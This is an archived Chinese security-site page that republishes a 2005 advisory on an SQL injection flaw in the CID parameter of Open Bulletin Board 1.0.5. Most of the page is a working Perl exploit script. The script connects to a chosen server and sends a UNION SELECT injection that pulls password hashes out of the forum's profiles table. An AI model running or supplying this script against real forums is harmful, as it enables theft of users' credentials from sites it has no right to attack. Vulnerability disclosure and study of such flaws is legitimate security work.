首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBB CID SQL Injection
来源:2005 RST/GHC 作者:x97Rang 发布时间:2005-07-22  

OpenBB CID SQL Injection (Exploit)

Summary
OpenBB - "is a discussion bulletin board application written in PHP. Main features include full customization via styles/templates, instant messaging, private messaging, categories, member ranks, a cache template system, boolean searches, thread rating, poll-based threads, moderation, SWF/Flash signatures, BB codes, thread notifications, ICQ/AIM messaging, Avatars, member lists, private forums and more."

An SQL injection vulnerability exists in OpenBB's CID parameter, by exploiting this vulnerability a malicious attacker can endanger OpenBB's database integrity.

Credit:
The original article can be found at: http://rst.void.ru/download/r57openbb.txt

Details
Vulnerable Systems:
* Open Bulletin Board version 1.0.5

#!/usr/bin/perl -w

# OpenBB sql injection
# tested on Open Bulletin Board 1.0.5 with mysql
# (c)oded by x97Rang 2005 RST/GHC
# Gr33tz: __blf, 1dt.w0lf

use IO::Socket;

if (@ARGV != 3)
{
print "\nUsage: $0 [server] [path] [id]\n";
print "like $0 forum.mysite.com / 1\n";
print "If found nothing - forum NOT vulnerable\n\n";
exit ();
}

$server = $ARGV[0];
$path = $ARGV[1];
$id = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?CID=999+union+select+1,". "1,password,1,1,1,1,1,1,1,1,id,". "1+from+profiles+where+id=". "$id/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path,$server,$id);

while(<$socket>)
{
if (/\>(\w{32})\</) { print "$1\n"; }
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GNU Mailutils imap4d Format St
·phpSlash Account Hijacking
·Windows Netman Service Local D
·SlimFTPd <= 3.16 LIST Comma
·Microsoft Color Management Mod
·Stealth Background Process
·Greasemonkey Firefox Extension
·Netquery Command Execution
·MailEnable STATUS Command Buff
·SlimFTPd RNFR Buffer Overflow
·Internet Explorer's Image Deco
·FTPshell Server DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved